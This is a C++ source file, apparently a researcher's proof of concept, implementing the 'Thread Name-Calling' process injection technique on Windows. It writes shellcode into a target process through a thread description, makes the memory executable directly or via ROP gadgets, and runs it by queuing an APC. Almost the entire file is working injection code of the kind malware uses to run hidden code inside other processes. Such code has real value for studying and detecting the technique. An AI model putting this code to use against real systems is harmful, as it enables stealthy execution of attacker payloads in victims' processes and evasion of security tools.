Files
hasherezade 9577f64cb9 Init
2024-07-23 17:34:13 -07:00

330 lines
9.0 KiB
C++

#include <windows.h>
#include "../common.h"
#include "../ntdll_wrappers.h"
#include "shellcode.h"
#include <processthreadsapi.h>
#include <TlHelp32.h>
#include <iostream>
#include <sstream>
#include <vector>
#ifdef USE_ROP
#include "rop_api.h"
#endif
int loadInt(const std::string& str, bool as_hex)
{
int intVal = 0;
std::stringstream ss;
ss << (as_hex ? std::hex : std::dec) << str;
ss >> intVal;
return intVal;
}
BYTE* load_from_file(const char* filename, size_t& data_size)
{
FILE* fp = fopen(filename, "rb");
if (!fp) return nullptr;
fseek(fp, 0, SEEK_END);
size_t fsize = ftell(fp);
BYTE* data = (BYTE*)::calloc(fsize, 1);
if (!data) return nullptr;
fseek(fp, 0, SEEK_SET);
data_size = fsize;
fread(data, 1, data_size, fp);
fclose(fp);
return data;
}
//----
bool make_executable(HANDLE hProcess, HANDLE hThread, void* shellcodePtr, size_t payload_len, void* stackPtr = NULL)
{
bool isExecutable = false;
#ifdef USE_ROP
if (!stackPtr || !EBFE_VA) {
std::cerr << "Not initialized!\n";
return false;
}
const DWORD sleep_time = WAIT_UNIT * 2;
if (!set_thread_sleep(hThread, sleep_time)) {
std::cout << "Could not switch the thread into a sleeping mode!\n";
return false;
}
std::cout << "Thread switched into a sleep mode!\n";
CONTEXT storedContext = { 0 };
PDWORD oldProtect = (PDWORD)((ULONG_PTR)stackPtr + 8);
isExecutable = remote_VirtualProtect(hThread, (LPVOID)stackPtr, &storedContext, (LPVOID)shellcodePtr, payload_len, PAGE_EXECUTE_READWRITE, oldProtect);
if (isExecutable) {
std::cout << "Remote VirtualProtect succeeded!\n";
}
if (set_context(hThread, storedContext)) {
std::cout << "Reverted to the initial context!\n";
}
#else
DWORD oldProtect = 0;
if (!VirtualProtectEx(hProcess, shellcodePtr, payload_len, PAGE_EXECUTE_READWRITE, &oldProtect)) {
std::cout << "Failed to protect!" << std::hex << GetLastError() << "\n";
return false;
}
isExecutable = true;
std::cout << "Protection changed! Old: " << std::hex << oldProtect << "\n";
#endif
return isExecutable;
}
LPVOID move_to_new_executable(HANDLE hProcess, HANDLE hThread, void* remotePtr, size_t payload_len, void* stackPtr = NULL)
{
LPVOID shellcodePtr = nullptr;
#ifdef USE_ROP
if (!stackPtr || !EBFE_VA) {
std::cerr << "Not initialized!\n";
return false;
}
const DWORD sleep_time = WAIT_UNIT * 2;
if (!set_thread_sleep(hThread, sleep_time)) {
std::cout << "Could not switch the thread into a sleeping mode!\n";
return false;
}
std::cout << "Thread switched into a sleep mode!\n";
CONTEXT storedContext = { 0 };
LPVOID allocatedPtr = remote_VirtualAlloc(hThread, (LPVOID)stackPtr, &storedContext, 0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocatedPtr) {
std::cout << "Remote VirtualAlloc succeeded!\n";
shellcodePtr = allocatedPtr;
}
if (set_context(hThread, storedContext)) {
std::cout << "Reverted to the initial context!\n";
}
#else
shellcodePtr = VirtualAllocEx(hProcess, nullptr, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
#endif
if (!shellcodePtr) {
std::cout << "Failed to allocate!" << std::hex << GetLastError() << "\n";
return nullptr;
}
std::cout << "Allocated: " << std::hex << shellcodePtr << "\n";
void* _RtlMoveMemoryPtr = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlMoveMemory");
if (!_RtlMoveMemoryPtr) {
std::cerr << "Failed retrieving: _RtlMoveMemoryPtr\n";
return nullptr;
}
if (!queue_apc_thread(hThread, _RtlMoveMemoryPtr, shellcodePtr, remotePtr, (void*)payload_len)) {
return nullptr;
}
std::cout << "Added RtlMoveMemory to the thread queue!\n";
return shellcodePtr;
}
#define USE_PROXY_FUNC
bool run_injected(HANDLE hProcess, void* remotePtr, size_t payload_len, void *stackPtr=NULL)
{
void* shellcodePtr = nullptr;
DWORD access = SYNCHRONIZE;
access |= THREAD_SET_CONTEXT; // required for the APC queue;
#ifdef USE_ROP
access |= THREAD_GET_CONTEXT;
access |= THREAD_SUSPEND_RESUME;
#endif
#ifdef USE_NEW_THREADS
HANDLE hThread = create_alertable_thread(hProcess);
#else
HANDLE hThread = find_thread(hProcess, access);
#endif
if (!hThread || hThread == INVALID_HANDLE_VALUE) {
std::cerr << "Invalid thread handle!\n";
return false;
}
BOOL isExecutable = FALSE;
#ifdef USE_NEW_BUFFER
shellcodePtr = move_to_new_executable(hProcess, hThread, remotePtr, payload_len, stackPtr);
#else
if (make_executable(hProcess, hThread, remotePtr, payload_len, stackPtr)) {
shellcodePtr = remotePtr;
}
#endif
if (!shellcodePtr) {
std::cout << "Making memory executable failed!\n";
return false;
}
bool isOk = false;
#ifdef USE_PROXY_FUNC
auto _RtlDispatchAPC = GetProcAddress(GetModuleHandle("ntdll.dll"), MAKEINTRESOURCE(8)); //RtlDispatchAPC;
if (_RtlDispatchAPC) {
std::cout << "Using RtlDispatchAPC\n";
if (queue_apc_thread(hThread, _RtlDispatchAPC, shellcodePtr, 0, (void*)(-1))) {
isOk = true;
}
}
else
#endif
if (queue_apc_thread(hThread, shellcodePtr, 0, 0, 0)) {
isOk = true;
}
if (isOk) std::cout << "Added to the thread queue!\n";
#ifdef USE_NEW_THREADS
ResumeThread(hThread);
#endif
CloseHandle(hThread);
return isOk;
}
bool write_name_and_call(HANDLE hProcess, BYTE* payload, const size_t payload_size, void* remotePtr)
{
void* remoteStackPtr = nullptr;
void* shcPtr = nullptr;
BYTE* thread_name = nullptr;
size_t thread_name_size = 0;
#ifdef USE_ROP
if (!init_gadgets() || !EBFE_VA) {
std::cerr << "Failed to initialize the gadget\n";
return false;
}
const size_t stackPadding = 0x100;
size_t stack_size = stackPadding * 2;
//prepare a combined buffer: data + stack
BYTE* data = (BYTE*)::calloc(payload_size + stack_size, 1);
if (!data) return false;
::memcpy(data, payload, payload_size);
ULONG_PTR paddedStack = (ULONG_PTR)data + payload_size + stackPadding;
ULONG_PTR *paddedStackPtr = (ULONG_PTR*)paddedStack;
(*paddedStackPtr) = EBFE_VA; // write an address of the gadget on the stack
thread_name = data;
thread_name_size = (payload_size + stack_size);
#else
thread_name = payload;
thread_name_size = payload_size;
#endif
shcPtr = pass_via_thread_name(hProcess, thread_name, thread_name_size, remotePtr);
#ifdef USE_ROP
free(data); data = nullptr;
if (shcPtr) {
remoteStackPtr = (void*)((ULONG_PTR)shcPtr + payload_size + stackPadding);
std::cout << "Received Stack pointer: " << std::hex << remoteStackPtr << "\n";
// double-check if the passed data is correct:
ULONG_PTR test_buf = 0;
if (!read_remote(hProcess, remoteStackPtr, &test_buf, sizeof(test_buf))) {
std::cerr << "Failed to read back the stack!\n";
return false;
}
if (test_buf != EBFE_VA) {
std::cout << "Invalid remote stack: " << std::hex << test_buf << "\n";
return false;
}
}
#endif
std::cout << "Received pointer: " << std::hex << shcPtr << "\n";
if (!shcPtr) {
return false;
}
return run_injected(hProcess, shcPtr, payload_size, remoteStackPtr);
}
bool thread_namecaller(DWORD processID, BYTE* payload, const size_t payload_size)
{
HANDLE hProcess = open_process(processID);
if (!hProcess || hProcess == INVALID_HANDLE_VALUE) {
std::cerr << "Opening process failed!\n";
return false;
}
void* remotePtr = get_peb_unused(hProcess);
if (!remotePtr) return false;
return write_name_and_call(hProcess, payload, payload_size, remotePtr);
}
//---
int main(int argc, char *argv[])
{
std::cout << "Thread Name-Calling injection\n";
BYTE* payload = (BYTE*)g_payload;
size_t payload_len = g_payload_len;
DWORD processID = 0;
if (argc < 2) {
std::cout << "Arg <PID> [shellcode file";
#ifdef USE_DEFAULT_SET_THREAD_DESC
std::cout << "*";
#endif
std::cout << "]\n";
#ifdef USE_DEFAULT_SET_THREAD_DESC
std::cout << "* - requires encoded shellcode without double NULL bytes\n";
#endif
return 0;
}
#ifdef USE_ROP
#ifdef USE_DEFAULT_SET_THREAD_DESC
#error "Error: Using ROP requires passing buffer with NULL bytes. This cannot be done using default SetThreadDescription!"
#endif // USE_DEFAULT_SET_THREAD_DESC
#ifdef USE_NEW_THREADS
#error "ROP for newly created suspended threads not implemented"
#endif // USE_NEW_THREADS
#endif //USE_ROP
if (argc > 2) {
char* filename = argv[2];
payload = load_from_file(filename, payload_len);
if (!payload) {
std::cerr << "Failed loading shellcode from file: " << filename << std::endl;
return -1;
}
}
#ifdef USE_NEW_THREADS
std::cout << "[*] Injecting into NEW threads\n";
#else
std::cout << "[*] Inject into existing threads\n";
#endif
#ifdef USE_OLD_APC_API
std::cout << "[*] Using old API for APC\n";
#else
std::cout << "[*] Using new API for APC\n";
#endif
#ifdef USE_NEW_BUFFER
std::cout << "[*] The shellcode will be copied into a new buffer\n";
#else
std::cout << "[*] The shellcode will be run from the heap\n";
#endif
#ifdef USE_ROP
std::cout << "[*] Using VirtualProtect/VirtualAlloc called via ROP\n";
#else
std::cout << "[*] Using VirtualProtectEx/VirtualAllocEx\n";
#endif
processID = loadInt(argv[1], false);
std::cout << "Supplied PID: " << processID << "\n";
if (!processID) {
std::cerr << "Invalid process ID supplied...\n";
return -1;
}
if (!thread_namecaller(processID, payload, payload_len)) {
return -2;
}
std::cout << "[+] Done\n";
return 0;
}